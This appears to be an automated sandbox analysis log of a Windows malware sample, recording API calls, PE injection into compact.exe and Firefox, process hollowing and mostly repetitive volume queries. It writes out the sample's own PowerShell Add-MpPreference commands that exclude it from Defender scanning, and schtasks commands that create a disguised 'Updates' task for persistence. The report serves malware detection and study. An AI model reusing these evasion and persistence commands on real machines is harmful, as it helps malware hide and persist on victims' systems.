            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtQueryInformationProcess: Direct from: 0x77762C26
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtResumeThread: Direct from: 0x77762FBC
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtCreateUserProcess: Direct from: 0x7776371C
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtSetInformationThread: Direct from: 0x777563F9
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtAllocateVirtualMemory: Direct from: 0x77763C9C
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtSetInformationThread: Direct from: 0x77762B4C
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtQueryAttributesFile: Direct from: 0x77762E6C
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtClose: Direct from: 0x77762B6C
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtReadVirtualMemory: Direct from: 0x77762E8C
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtCreateKey: Direct from: 0x77762C6C
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtQuerySystemInformation: Direct from: 0x777648CC
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtAllocateVirtualMemory: Direct from: 0x777648EC
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtQueryVolumeInformationFile: Direct from: 0x77762F2C
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtOpenSection: Direct from: 0x77762E0C
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtDeviceIoControlFile: Direct from: 0x77762AEC
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtAllocateVirtualMemory: Direct from: 0x77762BEC
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtQueryInformationToken: Direct from: 0x77762CAC
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtTerminateThread: Direct from: 0x77762FCC
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtCreateFile: Direct from: 0x77762FEC
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtOpenFile: Direct from: 0x77762DCC
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtOpenKeyEx: Direct from: 0x77762B9C
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtSetInformationProcess: Direct from: 0x77762C5C
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtProtectVirtualMemory: Direct from: 0x77762F9C
            Injects a PE file into a foreign processes
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeMemory written: C:\Users\user\Desktop\P1 HWT623ATG.bat.exe base: 400000 value starts with: 4D5AJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeMemory written: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe base: 400000 value starts with: 4D5AJump to behavior
            Maps a DLL or memory area into another process
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: NULL target: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe protection: execute and read and writeJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: NULL target: C:\Windows\SysWOW64\compact.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: NULL target: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe protection: read write
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: NULL target: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe protection: execute and read and write
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write
            Modifies the context of a thread in another process (thread injection)
            Source: C:\Windows\SysWOW64\compact.exeThread register set: target process: 7892
            Queues an APC in another process (thread injection)
            Source: C:\Windows\SysWOW64\compact.exeThread APC queued: target process: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
            Sample uses process hollowing technique
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection unmapped: C:\Users\user\AppData\Local\Temp\Smilet.exe base address: 400000
            Writes to foreign memory regions
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Users\user\AppData\Local\Temp\Smilet.exe base: 1660000
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Users\user\AppData\Local\Temp\Smilet.exe base: 19FFF4
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe"Jump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe"Jump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpC293.tmp"Jump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess created: C:\Users\user\Desktop\P1 HWT623ATG.bat.exe "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpDBA9.tmp"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess created: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe "C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe"Jump to behavior
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeProcess created: C:\Windows\SysWOW64\compact.exe "C:\Windows\SysWOW64\compact.exe"
            Source: C:\Windows\SysWOW64\compact.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
            Source: C:\Windows\SysWOW64\compact.exeProcess created: C:\Users\user\AppData\Local\Temp\bfc.exe "C:\Users\user~1\AppData\Local\Temp\bfc.exe"
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Local\Temp\Smilet.exe "C:\Users\user~1\AppData\Local\Temp\Smilet.exe"
            Source: hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 00000019.00000000.1502102417.0000000000CA0000.00000002.00000001.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 00000019.00000002.3718914762.0000000000CA0000.00000002.00000001.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3719369497.00000000012A0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
            Source: hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 00000019.00000000.1502102417.0000000000CA0000.00000002.00000001.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 00000019.00000002.3718914762.0000000000CA0000.00000002.00000001.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3719369497.00000000012A0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
            Source: hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 00000019.00000000.1502102417.0000000000CA0000.00000002.00000001.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 00000019.00000002.3718914762.0000000000CA0000.00000002.00000001.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3719369497.00000000012A0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: ?Program Manager
            Source: hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 00000019.00000000.1502102417.0000000000CA0000.00000002.00000001.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 00000019.00000002.3718914762.0000000000CA0000.00000002.00000001.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3719369497.00000000012A0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeQueries volume information: C:\Users\user\Desktop\P1 HWT623ATG.bat.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeQueries volume information: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe VolumeInformationJump to behavior
